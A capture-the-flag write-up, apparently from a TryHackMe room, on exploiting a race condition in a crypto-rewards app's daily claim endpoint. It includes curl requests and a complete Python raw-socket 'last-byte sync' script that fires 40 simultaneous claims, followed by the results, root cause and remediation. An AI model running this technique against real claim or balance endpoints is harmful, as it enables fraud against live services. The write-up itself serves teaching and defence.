๐๏ธ Towel on the Sunbed
Overview
Ponzi Portfolio is a "wellness rewards" crypto dashboard where users can claim 50 PONZI tokens every 24 hours. Reach a balance of 150 PONZI and the Whale Vault unlocks, handing out the room flag. The obvious path โ wait 24 hours three times โ is not the intended one. The bug is a classic time-of-check-to-time-of-use race condition in the claim endpoint: the server checks "has this user already claimed today?" and then updates the balance as two separate, non-atomic steps. Fire enough requests at the endpoint at almost the exact same instant, and several of them can slip through that check before the first write lands.
Recon
Login page source
The login form posts JSON to /auth/login via /js/auth.js, which is a thin wrapper around fetch() โ nothing unusual there, but it confirms the app is a standard session-cookie SPA rather than token-based auth.
Dashboard & client logic
Pulling /js/dashboard.js revealed the real endpoints, since the earlier guesses like /api/claim and /api/rewards/claim all 404'd:
GET /dashboard/api/me -> balance, tier, canClaim, secondsUntilClaim
POST /claim -> claims the daily 50 PONZI reward
GET /vault -> returns the flag if balance >= 150The staking card text spelled out the mechanic directly: "Earn 50 PONZI every 24 hours by claiming your staking reward" and "Reach 150 PONZI to unlock the Whale Vault." A social-media style hint in the room (@0xMia's post: "bro really thinks the clock is the only thing checking him") pointed straight at a server-side check that isn't as solid as the countdown timer implies.
Setting Up an Account
curl -s -i -X POST http://<TARGET>:3000/auth/register \
-H "Content-Type: application/json" \
-d '{"username":"whale2","password":"whale2pass"}'
curl -s -i -X POST http://<TARGET>:3000/auth/login \
-H "Content-Type: application/json" \
-d '{"username":"whale2","password":"whale2pass"}'The login response's Set-Cookie header hands back a standard Express connect.sid session cookie:
Set-Cookie: connect.sid=s%3A8pWreelQ...; Path=/; HttpOnlyTesting against a bare IP (rather than a domain name) with Python's aiohttp can silently drop cookies unless the cookie jar is created with unsafe=True. This cost a couple of failed attempts before switching to a raw-socket approach avoided the issue entirely.
First Attempt: Concurrent HTTP Requests (async)
A first pass fired 30 concurrent POST /claim requests using Python's asyncio + aiohttp. This confirmed the account and session were working, but only 1 of 30 requests succeeded โ the rest came back 429 Too Many Requests with "Reward already claimed." High-level async concurrency wasn't tight enough: connection setup, DNS, and event-loop scheduling stagger the requests by milliseconds, which is more than enough time for the server to process the first write before the next request's check runs.
Winning Attempt: Last-Byte Synchronization
To land requests within microseconds of one another instead of milliseconds, the trick is to open all the TCP connections ahead of time, send every byte of each HTTP request except the final byte, and then release that final byte across every open socket back-to-back in a tight loop. This is the same idea behind Burp Suite's "single-packet attack" / "last-byte sync" race condition technique.
import socket, threading, time
HOST, PORT = "<TARGET>", 3000
COOKIE = "connect.sid=<fresh session cookie>"
N = 40
def build_request():
body = ""
return (
f"POST /claim HTTP/1.1\r\n"
f"Host: {HOST}:{PORT}\r\n"
f"Cookie: {COOKIE}\r\n"
f"Content-Length: {len(body)}\r\n"
f"Connection: close\r\n"
f"\r\n{body}"
).encode()
sockets, requests = [], []
for i in range(N):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
req = build_request()
s.sendall(req[:-1]) # hold back the last byte
sockets.append(s); requests.append(req)
time.sleep(0.2) # let all connections settle
def fire(s, last_byte):
s.sendall(last_byte)
threads = [threading.Thread(target=fire, args=(s, req[-1:]))
for s, req in zip(sockets, requests)]
for t in threads: t.start()
for t in threads: t.join() # released almost simultaneously
for i, s in enumerate(sockets):
resp = b""
while chunk := s.recv(4096):
resp += chunk
print(i, resp.decode(errors="replace")[:200])
s.close()Results
Running the burst against a freshly registered, unclaimed account produced:
| Request # | Status | Outcome |
|---|---|---|
| 0 | 200 | Claimed +50 PONZI |
| 1 | 200 | Claimed +50 PONZI |
| 2 | 200 | Claimed +50 PONZI |
| 3 | 200 | Claimed +50 PONZI |
| 4 | 200 | Claimed +50 PONZI |
| 5 | 200 | Claimed +50 PONZI |
| 7 | 200 | Claimed +50 PONZI |
| 6, 8โ39 | 429 | Reward already claimed |
7 out of 40 requests landed inside the check-then-write window, each granting +50 PONZI โ 350 PONZI total, well past the 150 threshold needed to unlock the vault.
Claiming the Vault
curl -s -b "connect.sid=<same session cookie>" http://<TARGET>:3000/vaultWith balance โฅ 150, the vault endpoint returns the flag instead of the access-denied error:
THM{flag_redacted_in_writeup}
Root Cause
The /claim handler almost certainly followed this non-atomic pattern:
- Read the user's
lastClaimedAttimestamp from the database. - Compare it against "now" to decide if 24 hours have passed.
- If eligible, add 50 PONZI to the balance and then write a new
lastClaimedAt.
Because steps 1โ3 aren't wrapped in a single atomic transaction or protected by a row-level lock, multiple requests arriving close enough together all read the same "not yet claimed" state in step 1 before any of them finish step 3. Each one then proceeds to credit the reward independently.
Remediation
- Wrap the check-and-update in a single atomic database transaction (e.g.
SELECT ... FOR UPDATE, or a conditional update such asUPDATE users SET balance = balance + 50, last_claimed_at = NOW() WHERE id = ? AND last_claimed_at < NOW() - INTERVAL '24 hours'and checking the affected row count). - Use a distributed lock or mutex keyed on the user ID for the duration of the claim operation.
- Add idempotency protection (e.g. a unique constraint on "claims per user per day") so duplicate claims fail at the database layer even if the application logic races.
- Rate-limit the endpoint per session/IP as defense-in-depth (though this alone doesn't fix the underlying atomicity bug).
Key Takeaways
- Client-side countdown timers and disabled buttons are cosmetic โ they say nothing about server-side enforcement.
- High-level async HTTP clients (
aiohttp,requests, JSfetchloops) are often not fast enough to reliably win a tight race condition; requests still get staggered by connection setup and scheduling. - The "last-byte sync" raw-socket technique โ open all connections, hold back the final byte, then release simultaneously โ is the reliable way to land near-identical timestamps at the server, and turned a 1/30 hit rate into a 7/40 hit rate here.
- Always dig into the actual client-side JS bundle rather than guessing REST conventions for endpoint names โ
/claimand/vaultwere nothing like the/api/rewards/claim-style guesses that kept 404ing.